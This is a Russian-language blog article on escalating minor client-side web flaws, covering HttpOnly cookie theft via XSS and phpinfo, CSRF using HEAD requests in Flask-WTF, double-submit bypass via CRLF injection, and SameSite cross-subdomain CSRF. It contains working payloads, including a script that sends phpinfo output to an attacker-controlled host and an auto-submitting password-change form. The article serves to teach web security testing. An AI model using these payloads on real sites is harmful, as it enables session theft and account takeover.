Приветствую! Это статья о клиентских уязвимостях, которые мне показались интересными.

Целью статьи является показать, что иногда из, казалось бы, скучных уязвимостей с низким импактом, можно выжимать больше, чем кажется.

Угон HttpOnly Cookie через phpinfo

Казалось бы, нашли XSS, но угнать cookie не можем, потому что они HttpOnly.

Я тоже так думал, пока не наткнулся на файл phpinfo.php на том же хосте. Если рассмотреть содержание вывода phpinfo подробнее, то можно увидеть, что в нем присутствует поле HTTP_COOKIE, в значение которого указаны cookie обратившегося пользователя.

Если флаг HttpOnly включен в заголовок HTTP-ответа, доступ к cookie невозможен через JavaScript

После этого в голову закралась идея, а почему бы не составить такую полезную нагрузку, которая будет отправлять запрос на /phpinfo.php, а затем перенаправлять жертву на мой хост, на котором я буду принимать вывод phpinfo. Проблема, которая тут возникает - слишком большой вывод phpinfo, она была решена использованием функции substr в JavaScript.

<script>fetch("https://vulnerable.com/info.php").then((response)=>{return response.text();}).then(function(data){window.location.href="https://collaborator.com/?c=".concat(btoa(data).substr(26500, 600));});</script>

Flask-WTF CSRF

Кейс с анализом исходного кода веб-приложения на Python с фреймворком Flask и библиотекой Flask-WTF, для обработки веб-форм.

Первая ошибка, которую допустили разработчики - применить request.values для получения параметров запроса.

request.values - это массив, в который кладутся все параметры запроса, независимо от того, какие это параметры - GET или POST.

Вторая ошибка - отсутствие явной обработки POST запроса.

if request.method == "GET":
    # do some GET flow
# do some POST flow

Кусок кода выше означает следующее: Если запрос с HTTP методом GET, то исполнить блок кода внутри if, иначе выполнить код находящийся ниже if.

Cуществует интересная особенность, что запросы с методом HEAD неявно обрабатываются, если конечная точка обрабатывает GET запросы. В целом, это правильно, ведь HEAD это тот же самый GET запрос - HTTP RFC 2616, но это поможет нам проэксплуатировать CSRF.

Что мы имеем:

  • Конечные точки, обрабатывающие GET запросы также работают с HEAD запросами

  • CSRF токены не работают с GET запросами, а соотвественно и с HEAD.

  • Разработчик, не обрабатывая POST в отдельном if-блоке, дает возможность провести CSRF с методом HEAD.

Соотвественно, все что нам нужно поменять в обычной полезной нагрузке для CSRF - используемый метод.

<script>
        fetch('http://vulnerable.com/doSmth', {method: 'HEAD'});
</script>

Обход Double Submit через CRLF Injection

Существует такой паттерн, когда разработчики помимо добавления CSRF токена в параметры запроса, кладут его также и в cookie.

При таком паттерне сервер проверяет отправленный CSRF-токен на соответствие значению в cookie и первая идея которая идет в голову - поискать CRLF инъекцию.

CRLF инъекции эксплуатируются путем внедрения CRLF символов в веб-приложение.

Аббревиатура CRLF относится к возврату каретки и переводу строки. CR и LF - это специальные символы (ASCII 13 и 10 соответственно, также называемые \r\n), которые используются для обозначения конца строки (EOL).

Самое интересное, что проэксплуатировав CRLF инъекцию, мы можем установить себе произвольные cookie. Таким образом, устанавливая свое значение в cookie, мы сможем обойти Double Submit, указав произвольное значение, которое потом передадим в запросе.

Полезная нагрузка:

<img src=https://zah3k.com/some_param=1337%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None"/>
<form id="autosubmit" action="http://vulnerable.com/api/setpassword" enctype="text/plain" method="POST">
 <input name="password" type="hidden" value="hahah" />
 <input name="csrf" type="hidden" value="fake" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

SameSite Cookie

Представим, что ваша цель - веб-приложение, которое позволяет создавать блоги пользователям и после создания выдает вам следующий URL - yourusername.blog.com. А еще во время исследования функционала вы заметили что cookie - SameSite.

Если вы все таки встретили такой кейс - взгляните на eTLD и проверьте его в списке публичных суффиксов - Public Suffix List. Если вашего eTLD нет в списке, то приложение уязвимо.

Но где, как и почему оно уязвимо? Дело в том, что SameSite != SameOrigin, таким образом два домена abc.vuln.com и zxc.vuln.com будут считаться SameSite, давая возможность проводить CSRF атаки.

Комментарии (0)